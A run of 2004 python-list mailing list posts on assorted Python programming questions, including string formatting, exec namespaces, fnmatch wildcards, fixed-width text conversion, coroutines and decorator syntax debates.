Is there an excel formula parser out there? and if not - does anyone have an idea on where to start ? THANKS :) From carl.scharenberg at gmail.com Tue Sep 7 17:32:44 2004 From: carl.scharenberg at gmail.com (Carl Scharenberg) Date: 7 Sep 2004 14:32:44 -0700 Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> <Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4> <chctqv$e50$0$216.39.172.122@theriver.com> <4139FCDA.8020601@jessikat.fsnet.co.uk> <chdahm$sdp$0$216.39.172.122@theriver.com> <chdicb$ots$0$216.39.172.122@theriver.com> <DWf%c.1510$%N6.1056@trndny01> Message-ID: <e930c085.0409071332.4819fde1@posting.google.com> This thread has become useful! (not to mention whimsical). Thanks for the program. Carl "Raymond Hettinger" <vze4rx4y at verizon.net> wrote in message news:<DWf%c.1510$%N6.1056 at trndny01>... > > I was curious, so I googled for "CHOMSKY is an aid to writing linguistic > papers in the style" > > and found the lisp source: > > > > http://www-personal.umich.edu/~jlawler/foggy.lsp > > For those who are interested, here is the engine translated into Python (use the > original url to capture the part lists or roll your own): > > import textwrap, random > > def format_wisdom(text): > return textwrap.fill(text, line_length) > > def chomskey(times = 1): > if not isinstance(times, int): > return format_wisdom(__doc__) > prevparts = [] > newparts = [] > output = [] > for i in xrange(times): > for partlist in (leadins, subjects, verbs, objects): > while 1: > part = random.choice(partlist) > if part not in prevparts: > break > newparts.append(part) > output.append(' '.join(newparts)) > prevparts = newparts > newparts = [] > return format_wisdom(' '.join(output)) > > print chomskey(5) > > > > Raymond Hettinger From aleaxit at yahoo.com Sun Sep 19 13:51:48 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 19 Sep 2004 19:51:48 +0200 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <pan.2004.09.19.13.27.17.613143@jerf.org> <Ooa3d.318$Pz3.245@trndny01> <mailman.3490.1095579571.5135.python-list@python.org> <70b3d.1822$uz1.747@trndny03> <1gkdg6v.beghga12wpi7qN%aleaxit@yahoo.com> <mailman.3509.1095614185.5135.python-list@python.org> Message-ID: <1gkdle9.tyshvyi6m02qN%aleaxit@yahoo.com> Gary Herron <gherron at islandtraining.com> wrote: > A nice thoughtful answer Alex, but possibly wasted, as it's been > suggested that he is just a troll. (Note his asssertion that Pi=22/7 > in one post and the assertion that it is just a common approximation > in another, and this in a thread about numeric imprecision.) If he's not a troll, he _should_ be -- it's just too sad to consider the possibility that somebody is really that ignorant and arrogant at the same time (although, tragically, human nature is such as to make that entirely possible). Nevertheless, newsgroups and mailing lists have an interesting characteristic: no "thoughtful answer" need ever be truly wasted, even if the person you're answering is not just a troll, but a robotized one, _because there are other readers_ which may find interest, amusement, or both, in that answer. On a newsgroup, or very-large-audience mailing list, one doesn't really write just for the person you're nominally answering, but for the public at large. Alex From jjreavis at gmail.com Wed Sep 1 18:52:14 2004 From: jjreavis at gmail.com (Jeff Reavis) Date: 1 Sep 2004 15:52:14 -0700 Subject: Basic tokenizer In-Reply-To: <Xns95578D624E7ADdaleriverhallsystems@192.168.8.150> Message-ID: <ch5jqu$tqj@odah37.prod.google.com> Have you tried the shlex module? http://docs.python.org/lib/module-shlex.html -jjr From aleaxit at yahoo.com Thu Sep 16 02:52:28 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 08:52:28 +0200 Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <m3pt4nwa84.fsf@g2ctech.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <mailman.3388.1095291463.5135.python-list@python.org> Message-ID: <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> Carlos Ribeiro <carribeiro at gmail.com> wrote: ... > The biggest problem for we third-world money-impaired users that many > people don't realize is that we charge for our services in the local > currency, but have to buy stuff in strong currency (dollars or euros). Very good point, thanks. So, comparative advantage suggests that you guys should be the ones developing and selling general-purpose tools through the internet to developers in the relatively richer countries, while said developers in those countries should rather be doing custom applications for their local customers. Developing a tool such as, say, BlackAdder or WingIDE, should cost MUCH less over there, yet if sales are all done through the net it should not matter at all whether a tool is written in Brazil or Norway. Clearly it's not happening. Even third-world countries with HUGE presence in the IT industry, such as India, are totally concentrating on developing custom applications, not tools for resale via the net. As far as I know all commercial IDE's and other tools of that ilk come from Canada, the US, and the rich parts of Europe. It's a puzzlement! Alex From pfortin at pfortin.com Thu Sep 9 15:23:28 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Thu, 9 Sep 2004 15:23:28 -0400 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <Xns955F779C04101OKB@130.133.1.4> Message-ID: <20040909152328.2233c917@gypsy.pfortin.com> On 9 Sep 2004 18:45:37 GMT OKB wrote: > Pierre Fortin wrote: > > > Attempting to specify a field width via '*' to a mapping fails.... > > > >>>> "%(two)*d" % (mapping,6) > > Traceback (most recent call last): > > File "<stdin>", line 1, in ? > > TypeError: format requires a mapping > >>>> "%(two)-*d" % (6,mapping) > > Traceback (most recent call last): > > File "<stdin>", line 1, in ? > > TypeError: format requires a mapping > > I don't think this has anything to do with the * thing. You can't > > mix the sequence and mapping forms of %. For instance, this also fails > > >>> m = {'one': 1, 'two': 2} > >>> "%(two)d %d" % (m, 6) > > Traceback (most recent call last): > File "<pyshell#8>", line 1, in -toplevel- > "%(two)d %d" % (m, 6) > TypeError: format requires a mapping > > The error message is telling you the truth: you're passing the % > operator a tuple, but your format string has a "%(two)" in it, which > means it requires not a tuple but a mapping. > Darn... I was hoping that Python would let me format strings with mappings in a more readable/maintainable way than thusly: >>> mapping = {'one':1,'two':2,'size':6} >>> eval("'%%(two)%(size)dd' %% mapping" % mapping) ' 2' -or- >>> size=6 >>> eval("'%%(two)%dd' %% mapping" % size) ' 2' Changing my copy of the book on P.48 to read: """ In addition, the asterisk (*) character may be used in place of any number in any** width field. If present, the width will be read from the next item in the tuple. ** EXCEPT with mappings described in (1) above """ Pierre From michele.simionato at gmail.com Mon Sep 20 10:07:19 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 20 Sep 2004 07:07:19 -0700 Subject: strange problem with os.getlogin Message-ID: <4edc17eb.0409200607.49e157b7@posting.google.com> I am having a strange issue with os.getlogin on Mandrake 10: $ python -c "import os; print os.getlogin()" Traceback (most recent call last): File "<string>", line 1, in ? OSError: [Errno 2] No such file or directory On another linux machine (Debian) instead it works as expected. For the moment I am using os.popen("whoami").read() which works but it is an hack :-( Does anybody have an idea of the source of the problem? Michele Simionato From drysdam at ll.mit.edu Tue Sep 14 09:03:26 2004 From: drysdam at ll.mit.edu (David Rysdam) Date: Tue, 14 Sep 2004 09:03:26 -0400 Subject: funcs vs vars in global namespace In-Reply-To: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> References: <J8B1d.3$26.1@llslave.llan.ll.mit.edu> <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> Message-ID: <z_B1d.5$26.4@llslave.llan.ll.mit.edu> Alex Martelli wrote: > David Rysdam <drysdam at ll.mit.edu> wrote: > ... > >>def sumWithGlobal(a): >> return a + b > > ... > >>#Here is define sumWithGlobals but not b and it still works. Why? >>#Shouldn't I get an error that b is undefined, since it isn't in the >>#globals dict of the eval? >>print 'Case 4: Attempt to set just the function sumWithGlobal (succeeds >>for unknown reason' >>print eval("sumWithGlobal(2)", {'sumWithGlobal':sumWithGlobal}) >>print > > > The function sumWithGlobal, internally, uses the global dictionary of > the module it was defined in, NOT that of the module it's being called > from, including the "kinda sorta pseudo" module you have within an eval. > This also explains: > > >>If I add a "print globals()" to sumWithGlobal, I see {'b':2} in there in >>cases 1, 2, 4 and 5. What am I doing wrong? > > > You're misunderstanding Python globals: they are per-module, not "across > all modules". > > > Alex OK, I can kind of understand that. I'm not sure what the point of being able to specify the globals for an eval() is then, but if it doesn't do what I want it doesn't do what I want. What I want to do is be able to run multiple scripts that use the same global variable and function names but be able to have my master script define those variables and functions programmatically. Can I do that with the rexec sandbox stuff? Or is rexec more about keeping the exec()'d code from doing things than specifying precisely what it can do? From no at no.com Mon Sep 27 14:13:11 2004 From: no at no.com (richard) Date: Mon, 27 Sep 2004 18:13:11 GMT Subject: compile problems / help thanks Message-ID: <XKY5d.313229$vG5.24627@news.chello.at> hello when i compile @ make with python 2.3.4 comes this error c++ -pthread -Xlinker -export-dynamic -o python \ Modules/python.o \ libpython2.3.a -lpthread -ldl -lutil -lm /usr/bin/ld: Dwarf Error: Invalid or unhandled FORM value: 14. libpython2.3.a(posixmodule.o): In function `posix_tmpnam': /usr/src/Python-2.3.4/./Modules/posixmodule.c:6063: the use of `tmpnam_r' is dangerous, better use `mkstemp' libpython2.3.a(posixmodule.o): In function `posix_tempnam': /usr/src/Python-2.3.4/./Modules/posixmodule.c:6018: the use of `tempnam' is dangerous, better use `mkstemp' collect2: ld returned 1 exit status make: *** [python] Error 1 thanks for help From jdhunter at ace.bsd.uchicago.edu Mon Sep 27 15:54:06 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Mon, 27 Sep 2004 14:54:06 -0500 Subject: batch pretty (color) print of python code? In-Reply-To: <cj9rt8$l3k$1@nrc-news.nrc.ca> ("Humpdydum"'s message of "Mon, 27 Sep 2004 16:07:03 -0400") References: <cj9rt8$l3k$1@nrc-news.nrc.ca> Message-ID: <m2sm934hep.fsf@mother.paradise.lost> >>>>> "Humpdydum" == Humpdydum <oliver.schoenborn at utoronto.ca> writes: Humpdydum> Any freeware/open-source that does that? Windows- OR Humpdydum> Linux-based is fine. On Linux it would be s/t like Humpdydum> "pyprint -r *.py > out.ps" where -r indicates Humpdydum> recursive. Done a search on google and nothing solid Humpdydum> comes up. So far I've been using Boa's print feature, Humpdydum> which means one file at a time, tedious. Thanks, Humpdydum> Oliver I've been very happy with the latex listings package, which supports python. http://www.atscire.de/index.php?nav=products/listings JDH From skip at pobox.com Wed Sep 8 20:07:10 2004 From: skip at pobox.com (Skip Montanaro) Date: Wed, 8 Sep 2004 19:07:10 -0500 Subject: glossary wiki In-Reply-To: <qnku0u8l98s.fsf@arbutus.physics.mcmaster.ca> References: <mailman.2881.1094337154.5135.python-list@python.org> <YXm%c.12429$lP4.940107@news20.bellglobal.com> <mailman.3004.1094613326.5135.python-list@python.org> <qnku0u8l98s.fsf@arbutus.physics.mcmaster.ca> Message-ID: <16703.40622.737529.253580@montanaro.dyndns.org> Nicolas> I guess it would be nice to put this glossary on Nicolas> http://www.python.org/moin/. >> That's fine with me. If someone does it let me know and I'll dump >> mine and redirect to the relevant page. David> Done; it's the PythonGlossary page, linked off of the David> Documentation page. David> (It's very easy when both wikis use MoinMoin :-) And the old glossary now redirects to the new one. Skip From drysdam at ll.mit.edu Mon Sep 13 13:48:29 2004 From: drysdam at ll.mit.edu (David Rysdam) Date: Mon, 13 Sep 2004 13:48:29 -0400 Subject: stupid namespace tricks Message-ID: <N3l1d.1$26.0@llslave.llan.ll.mit.edu> I have a program called 'myDaemon'. I want this program to run little 'scriptlets' that I have written. I want the scriptlets to be as small and dumb as possible, so I decided I could jettison some overhead by having them be python code fragments that are just exec()'d by myDaemon. Inside of myDaemon, I first created functions like logError() that the fragment could call to handle common functionality. An API, I guess you could call it. But then I realized that for some members of that API, I'd want to call different versions of the function for different versions of the scriptlet. Rather than a big ugly switch statement, I thought I'd just use the globals() parameter of exec() to cram the right callables into the global dictionary with the key being the generic name I wanted to call. For instance: globals['logError':logErrorV3] (It's possible I'm being blinded by the coolness of Python and that I could do this some old stodgy way. But I want to control myDaemon remotely, so I'd like as much as possible to be dynamic and data-driven so it can be changed on the fly.) Now I have 3 files. 1) scriptlet.py imports nothing and calls logError(). 2) function_defaults.py imports nothing, defines logError() and also sets up a default global like so: dictGlobal = {'logError':logError} 3) And then in myDaemon I "import functions_default" and do this: exec(body, functions_default.dictGlobal) (where "body" is the body of the scriptlet) This all works fine. But I want each scriptlet to be logged to a separate file. There's no reason the scriptlet should manage this, so I have an id assigned to each scriptlet at the myDaemon level. I thought I could just cram that id into the globals() dict for the scriptlet and then logError would see it and be able to figure out what file to log to. I added this to myDaemon.py ahead of the exec(): functions_default.dictGlobal['id'] = scriptlet['id'] But when I get to logError, 'id' isn't there. Some googling has revealed that "global" means "at the module level", but since I'm cramming it in manually it doesn't seem like that shouldn't matter. Can anyone tell me what's going on? (I apologize if this is complicated. If it's not clear what I'm doing I can try to create a stripped down version and just post that.) From wjdandreta at att.net Tue Sep 28 01:14:04 2004 From: wjdandreta at att.net (Bill Dandreta) Date: Tue, 28 Sep 2004 05:14:04 GMT Subject: Python game help needed? Message-ID: <wq66d.445628$OB3.249831@bgtnsc05-news.ops.worldnet.att.net> I would like to write a wordsearch puzzle game in Python that functions like this java program: http://javaboutique.webdeveloper.com/WordSearch/ I would like it to be cross platform (Linux, Windows, Mac). I don't know how to get the graphics effect with a bounding box around the words. Any suggestions would be greatly appreciated. Bill From daniel.dittmar at sap.corp Fri Sep 10 04:26:58 2004 From: daniel.dittmar at sap.corp (Daniel Dittmar) Date: Fri, 10 Sep 2004 10:26:58 +0200 Subject: python and bit shifts and byte order, oh my! In-Reply-To: <9490d.126$KA1.1800@news1.mts.net> References: <9490d.126$KA1.1800@news1.mts.net> Message-ID: <chrogi$gmk$1@news1.wdf.sap-ag.de> Reid Nichol wrote: > I played with bit shifts on my PC and tried the same thing on a Mac OS X > machine. They produced the same results, so I would assume that the way > the bits and how they are interpreted are as in this link: > > http://www.khakipants.org/archives/2003/03/bitlevel_input_and_output.html > > At least in memory while the interpreter is running. CPUs differ in the way integers are stored in memory. But the shift operators of the CPU are implemented to work on logical integers in registers, not on consecutive bytes in memory. Daniel From ptmcg at austin.rr._bogus_.com Fri Sep 17 06:28:52 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 17 Sep 2004 10:28:52 GMT Subject: [Python-Dev] Strawman decision: @decorator won't change References: <cibkl1$395$07$1@news.t-online.com> Message-ID: <E%y2d.3$Gn3.2@fe2.texas.rr.com> "Peter Otten" <__peter__ at web.de> wrote in message news:cibkl1$395$07$1 at news.t-online.com... > I took the freedom to forward GvR's mail concerning decorator cosmetics. > I think you should know about it. > > Peter > Why? Sounds like the same rigged rules as before. Who wants to burn up any more cycles on this? I don't have a problem with GvR making his decisions about the language - it's his. I do have a problem with his asking for input, under terms that are so unlikely to permit that input to have any influence, and then patting himself on the back for polling the user community for their comments. And he wonders at the "near-complete silence following my rejection of J2"??? (For that matter, why didn't Guido post this 7-day discussion period on c.l.py himself? Makes one wonder how seriously he really wants any more input.) Ultimately, this choice will boil down to Guido's own sense of esthetics. He has already dismissed/discounted arguments against '@' based on usage in other tools or language implementations. And there is little sense in trying to marshal argument and rhetoric on the etymology/semantics/verbalizations/human factors of '@' vs. '|' vs. '>>' or whatever - these go so far adrift into meta-space that they quickly lose focus on the original topic, and thereby reinforce GvR's impression that this discussion has no emerging consensus or coherence. I and many others have offered our feedback (i.e., complained) that '@' is an offense to the eye, a blot on Python's heretofore cleanness of syntax and form, and implicit readability. '@' doesn't *mean* anything. At least '|' brings a "pipe" semantic from Unix, or '^' evokes a "return" concept from Smalltalk, or '>>' the notion of "stream" from C++. When I see '@', the first thing I think of is e-mail, and the second thing I think of is an invoice ("20 widgets @ $0.25 = $5.00"). So what? It all boils down to "I like 'X'", "Well, I like 'Y'", to "Thanks for your feedback, the answer is '@'." -- Paul From jfabiani at yolo.com Fri Sep 17 14:04:06 2004 From: jfabiani at yolo.com (John Fabiani) Date: Fri, 17 Sep 2004 18:04:06 GMT Subject: Python Webstart ? References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <mailman.3460.1095435595.5135.python-list@python.org> <414b0d22$0$2414$61ce578d@news.syd.swiftdsl.com.au> <m3llf8ygzk.fsf@g2ctech.com> Message-ID: <qGF2d.16864$QJ3.3731@newssvr21.news.prodigy.com> Jorge Godoy wrote: > huy <nytimes at swiftdsl.com.au> writes: > >> Well not really. I don't mind doing one installation of a >> (Python/Java) webstart. However, it's the automatic update of the >> actual application software which I find most useful. The alternative >> using p2exe or pyfreeze will require me to distribute the (potentially >> large) binaries manually. For hundreds of terminals, this is not gonna >> be good, especially in an iterative environment. > > A network drive is not an option? I use that with several software. I > just update one copy and everybody has an updated copy of the software > the next time they run it. Of course the problem with using a network drive is the size of the file that is download everytime the program is run. John From listserver at tdw.net Thu Sep 9 09:01:41 2004 From: listserver at tdw.net (Tim Williams) Date: Thu, 9 Sep 2004 14:01:41 +0100 Subject: text matching help References: <chkoc4$l08$1@newsg2.svr.pol.co.uk><200409090130.00953.heikowu@ceosg.de><001e01c49660$1cca18d0$ccbefea9@twilliams> <200409091411.08557.heikowu@ceosg.de> Message-ID: <004001c4966d$26e6ad30$ccbefea9@twilliams> ----- Original Message ----- From: "Heiko Wundram" <heikowu at ceosg.de> > Am Donnerstag, 9. September 2004 13:28 schrieb Tim Williams: > > I need to be able to match some input text to these wildcards (eg timothy > > will match tim*), * on its own is invalid, there must be text before or > > after the *. > > Check out the fnmatch module (if you use simple wildcards, unix shell style, > which aren't regular expressions): > > >>> import fnmatch > >>> fnmatch.fnmatch("mylittletext","my*") > True > >>> fnmatch.fnmatch("mylittletext","little*") > False > >>> fnmatch.fnmatch("mylittletext","*little*") > True Yes, this does the trick, many thanks. I used something like import fnmatch as f t = 'tim.williams' # in place of L = MyDict.keys() L = ['tim*' , 'dav* ', 'david' , 'peter' , '*m' , '*y' , ' not-a-name ', 'timoth?' , '*.*' , '*iams' , '*'] L.sort() # to give a consistent search order for name in L: ... if f.fnmatch(t, name): ... print t, 'matches', name tim.williams matches * tim.williams matches *.* tim.williams matches *iams tim.williams matches tim* :-) From cmichaelbeck at hotmail.com Tue Sep 21 13:48:48 2004 From: cmichaelbeck at hotmail.com (mike beck) Date: 21 Sep 2004 10:48:48 -0700 Subject: Translate tab-delimited to fixed width text Message-ID: <ead93a6.0409210948.7a80e5db@posting.google.com> I'm writing a script to take a tab-delimited input file where the format is known and transform it to a fixed-width text file. I thought that the script might be easier to troubleshoot or edit later (if the file formats change, for example) if I specified the column names for the input and output files, which is why I didn't just map input column 1 -> export column 14. Even though I've spent some quality time with the archives and the fine manual, I'm pretty sure that I'm doing some WRONG THINGS. Or perhaps some SUB-OPTIMAL THINGS. And possibly REALLY WEIRD THINGS. Or just maybe THINGS THAT WILL WORK FOR A LITTLE WHILE BUT WILL SURELY CAUSE DIRE PROBLEMS AT SOME LATER, INCREDIBLY INCONVENIENT TIME RESULTING IN HORRIBLE, TRAGIC CONSEQUENCES FOR EVERYONE INVOLVED. The script works, but the use of multiple dictionaries seems ... how should I say ... unintuitive. Is there a better way to move values from one dictionary to another than what I've done here? I'd appreciate any other tips (especially those that fit into the CATEGORIES listed above). And I've omitted the read from file and write to file business for the sake of brevity... Standing on the shoulders of giants (meaning, you all!), Mike --- """ Transforms a tab delimited text file to a fixed-width text file. """ import copy, string DEFFIELDSEP = '\t'; DEFLINESEP = '\n'; DEFHASHEADER = 1; # 1 if yes, 0 if no import_field_order = ( 'Email', 'First Name(s)', 'Last Name', 'Address Line 1', 'Address Line 2', 'City', 'State', 'Zip Code', ); # export columns (keys) to import columns (values) mapped_fields = { 'EMAIL_ADDRESS_1':'Email', 'FIRST_NAME_1':'First Name(s)', 'LAST_NAME_1':'Last Name', 'ADDRESS_1':'Address Line 1', 'CITY':'City', 'STATE':'State', 'ZIP_CODE':'Zip Code', }; # required length and justification of export fields export_fields = { 'RECORD_TYPE':[1,'left'], 'ACCOUNT_ID':[8,'left'], 'TITLE_1':[8,'left'], 'FIRST_NAME_1':[20,'left'], 'MIDDLE_NAME_1':[20,'left'], 'LAST_NAME_1':[20,'left'], 'SUFFIX_1':[8,'left'], 'NAME_ID_1':[2,'left'], 'ADDRESS_1':[256,'left'], 'CITY':[30,'left'], 'STATE':[2,'left'], 'ZIP_CODE':[5,'left'], 'ZIP_EXTENSION':[4,'left'], 'EMAIL_ADDRESS_1':[100,'left'], 'EMAIL_ADDRESS_TYPE_1':[2,'left'], }; export_field_order = ( 'RECORD_TYPE', 'ACCOUNT_ID', 'TITLE_1', 'FIRST_NAME_1', 'MIDDLE_NAME_1', 'LAST_NAME_1', 'SUFFIX_1', 'NAME_ID_1', 'ADDRESS_1', 'CITY', 'STATE', 'ZIP_CODE', 'ZIP_EXTENSION', 'EMAIL_ADDRESS_1', 'EMAIL_ADDRESS_TYPE_1', ); def pad ( elem, max_length, justification=None): """ Pad a string to a predetermined length. Truncate the string if necessary. By default, left justify and pad with spaces. """ padded_value = ''; # what if elem is none? if (justification is 'right'): padded_value = elem.rjust(max_length)[:max_length] else: padded_value = elem.ljust(max_length)[:max_length] return padded_value def glue ( var, ref, order ): """ Build a string with padded dictionary values. Var and ref are dictionaries, order is a tuple describing the field order. """ finished_line = [] # pad the items for k in var.keys(): # pad (value, length, justification) var[k] = pad( str(var[k]), ref[k][0], ref[k][1]) # build the line in order for elem in order: finished_line.append(dict.get(var, elem)) # join the elements and return a string return ''.join([x for x in finished_line]) def build ( line, field_sep = DEFFIELDSEP ): """ Create a single record by transposing fields via multiple dictionaries. """ fields = string.split(line, field_sep); # trim whitespace fields = map(string.strip, fields) # create dict of import column names (keys) and import # data (values) step_one = dict([(q,a) for q,a in zip(import_field_order, fields)]) # create a 'throwaway' copy of the mapped fields dict to # do the transform step_two = copy.deepcopy(mapped_fields) # replace the column names of the import file with the # values from the import file for k,v in step_two.items(): step_two[k] = dict.get(step_one, v) # create an empty dict with the export column names step_three = dict([(q,'') for q in export_field_order]) dict.update(step_three, step_two) # special cases step_three['RECORD_TYPE'] = 'D' step_three['EMAIL_ADDRESS_TYPE_1'] = 'I' return glue(step_three, export_fields, export_field_order) def decapitate(infile,has_header=DEFHASHEADER,line_sep=DEFLINESEP): """ Return file without header row """ if (has_header): sans_head = string.split(infile, line_sep)[1:] else: sans_head = string.split(infile, line_sep) return sans_head if __name__ == '__main__': # init vars out_lst = [] # sample data. Names have been changed ... ;) fin = {'data': 'Email\tFirst Name(s)\tLast Name\tAddress Line 1\tAddress Line 2\tCity\tState\tZip Code\nme at test.com\tBill\tMunroe\t416 Main\t\tManhattan\tNY\t10471\ngodaddy at test.com\tGeorge\tScott\t111 Blue Street 2005\t\tSan Francisco\tCA\t94144\nmmike at test.net\tMike\tBork\t22 Oak Rd\t\tAlbuquerque\tNM\t01720-5303\npsycho at test.com\tIma\tCrazy\t1111 E Maple Rd\t\tDenver\tCo\t80206-6139'}; # get a list of lines without a header row lines = decapitate(fin['data']); for line in lines: # check for blank lines if (line): out_lst.append(build(line)) print out_lst; From aleaxit at yahoo.com Sat Sep 4 05:00:35 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 11:00:35 +0200 Subject: Announcing PyCs, a new Python-like language on .Net References: <1gjicas.43o0lh1vo2fnaN%aleaxit@yahoo.com> Message-ID: <1gjkc05.1fvavju1fv249pN%aleaxit@yahoo.com> Alex Martelli <aleaxit at yahoo.com> wrote: ... > sneer at them), even though I'm not going to get involved (no version of > dotNet's CLR runs on the Mac, I believe, so I'm not very interested in > anything that requires the CLR). But I do believe you CAN do much I was wrong! Thanks to Stefan Eischet for suggesting I try again: Mono 1.0.1 does install cleanly on my Mac (OS X 10.3.5, Xcode 1.5, fink unstable, etc, I do keep it pretty updated but I don't think it matters here) and IronPython runs on top of it (haven't done any thorough tests, what with 2.4 alpha 3 requiring much more attention, but it does work for trivial things at least). So, maybe I'm more interested in CLR than I knew I was, and might well (...once 2.4 is done and I can take a breather from the cookbook's 2nd ed...) voice my opinion on pycs, boo, whatever, in the appropriate fora (mailing lists I assume, I'll look around when I _do_ get some 'copious spare time' to breathe...:-). Sometimes it's NEAT to be wrong...:-) Alex From zathras at thwackety.com Sun Sep 19 21:00:49 2004 From: zathras at thwackety.com (Michael Sparks) Date: Mon, 20 Sep 2004 02:00:49 +0100 Subject: Microthreads without Stackless? References: <mailman.3171.1094844869.5135.python-list@python.org> <8cf9f521.0409162213.105d321e@posting.google.com> <dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com> <cieafr$m4b$1@nntp0.reith.bbc.co.uk> <8cf9f521.0409171009.142a3fcd@posting.google.com> <g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com> <8cf9f521.0409181021.6db6a3e4@posting.google.com> <653b7547.0409182157.4339613@posting.google.com> <414d6080$0$17924$ed2619ec@ptn-nntp-reader02.plus.net> <653b7547.0409190842.36cb9051@posting.google.com> Message-ID: <414e329a$0$17961$ed2619ec@ptn-nntp-reader02.plus.net> Patrick Maupin wrote: > Michael Sparks wrote: > IMO, this example does not demonstrate a reasonable use-case for > coroutines. The implied use case is this: 1 An arbitrary piece of library code that can accept a function (or object with attached method) for processing data. 2 This arbitrary piece of code gets called by a coroutine, and is passed a process function that has somewhere buried inside it's call chain something that causes a coroutine switch. In terms of code, 1 isn't such an odd or unusual a concept. You would normally expect library code to have well defined known semantics. However by placing that commonly used code in the call chain you break it's semantics. Unless you think that no coroutine is ever going to use library code of some kind (either in-house or some shared library, or even just stuff in the standard python distro), then it is indicative of the sort of thing that could happily sit half way through a call stack in a stackful coroutine. > Two good use cases for coroutines are: > [ couple of examples ] Note: I did say that in some circumstances they do make life simpler. However by adding them in at all, you _risk_ making reasoning about the entire system more complex, not simpler, depending on the implementation. It's *not* just sufficient to say that it's stackful. > (As an aside, IMO your example also fails to demonstrate good > try/except/finally hygiene, which would be a completely peripheral > argument, except that you're arguing that Python should always do the > "right thing" with this code, and you're not even using what I would > consider to be the right constructs for that.) Consider that normally you'd use try: finally: and that simple generators don't allow the use of finally due to the fact that the finally clause is not guaranteed to get any CPU time. Whether it's reasonable to assume that hypothetical coroutine code would have similar restrictions to generator code is an exercise for the reader... That was the reason for the odd try/except/finally "hygiene". The reason for the bare except was to point out that it would catch any and all errors as you would normally with finally. You state that you think what I was doing wasn't good hygiene - however it's one of the few options you have if you use generators at present. I was aiming for consistency with that, not sanity :) >> I would argue that you cannot, unless you start placing restrictions on >> the coroutines in a way you (and others) haven't detailed. (Such as >> ensuring that when you throw something like exceptions.SystemExit that it >> propogates through all the co-routines and hits all the bare except >> clauses and isn't stopped by any single one of them.) > > I guess this is the old "you'll put your eye out with that thing" > argument. I wouldn't say that's ever a reason for not putting something in a language. You'd never allow anyone to delete files on the disk otherwise... I was merely pointing out that you stated coroutines simplify reasoning, whereas in practice it can _break_ the _normal_ reasoning you have for the bulk of your code. >... I submit that coroutines would be a satisfactory solution You seem to be arguing from the point of view that seems to think I'm against the idea of coroutines entering python, whereas all I was doing was pointing out that coroutines potentially break the reasoning for very common code, depending on how they are added. (if say generators were ever to be extended to be more stackful than they are) I use generators at present for a lot of the tasks that coroutines would naturally sit into. Indeed I use them because they fulfill a lot of what coroutines would provide, and it was one of our reasons for choosing python in the first place. Even so one of the first questions I asked regarding them was "can they be wrapped/nested" (ie made stackful). It's not, perhaps, quite as nice as "full" coroutines, but then it's nicer than the equivalent in many other languages. Regards, Michael. From agriff at tin.it Sun Sep 19 02:29:54 2004 From: agriff at tin.it (Andrea Griffini) Date: Sun, 19 Sep 2004 06:29:54 GMT Subject: New Programmer and Python References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com> <roy-6664E4.12362218092004@reader1.panix.com> Message-ID: <719qk0pe3q61u3h24pvi0svre02h0qeav8@4ax.com> On Sat, 18 Sep 2004 12:36:22 -0400, Roy Smith <roy at panix.com> wrote: >Some people think it's absolutely brilliant, others think it's the >stupidest thing they've ever heard of. But, it is what it is, it's not >going to change, nobody in either camp is ever going to be convinced to >change their mind, and there is nothing that can be said about it on >either side which hasn't already been said 100 times already. I don't agree that nobody in either camp is ever going to be convinced to change their mind. I for example was in the "that's the stupidiest thing I've heard of (since COBOL)" and now changed my mind. Not sure if this really counts... as indeed my initial position was just *before* actually trying to write any non-trivial python program. Andrea PS: I'm sure this is one of the things said 100 times already... but I remember students of programming courses at university that were used to write their programs in Pascal with no indentation and, once the program were working and before submitting them, adding proper indentation "because otherwise the professor gets mad". I'm not kidding about this. From thorsten at thorstenkampe.de Tue Sep 14 05:07:33 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Tue, 14 Sep 2004 11:07:33 +0200 Subject: help: up/down arrows in 2.3.4 interactiv References: <ci4i04$1h1v$1@ulysses.noc.ntua.gr> Message-ID: <22luui3ufkg6.dlg@thorstenkampe.de> * Jerald (2004-09-14 04:37 +0200) > I've just installed 2.3.4 from the source on a linux box. > In the interactive mode, up/down arrows do not work. > When I press 'up' python prints '^[[A' and down gives '^[[B' > What is wrong? No readline? Mangled $INPUTRC? Anyway, probably not a python thing. From b.niemann at betternet.de Fri Sep 3 11:03:21 2004 From: b.niemann at betternet.de (Benjamin Niemann) Date: Fri, 03 Sep 2004 17:03:21 +0200 Subject: print with no newline In-Reply-To: <2prebbFo67agU1@uni-berlin.de> References: <2prasrFo4rruU1@uni-berlin.de> <mailman.2834.1094220495.5135.python-list@python.org> <2prebbFo67agU1@uni-berlin.de> Message-ID: <cha0tj$6dv$1@online.de> You are not the only one, who feels that the behaviour of print is not optimal. Thta's why it is on the list of things to be dropped with Python 3. See PEP 3000 or "Python Regrets" (http://www.python.org/doc/essays/ppt/regrets/PythonRegrets.pdf) Paul Watson wrote: > "Jp Calderone" <exarkun at divmod.com> wrote in message > news:mailman.2834.1094220495.5135.python-list at python.org... > >>Paul Watson wrote: >> >>>I thought that using a comma at the end of a print statement would > 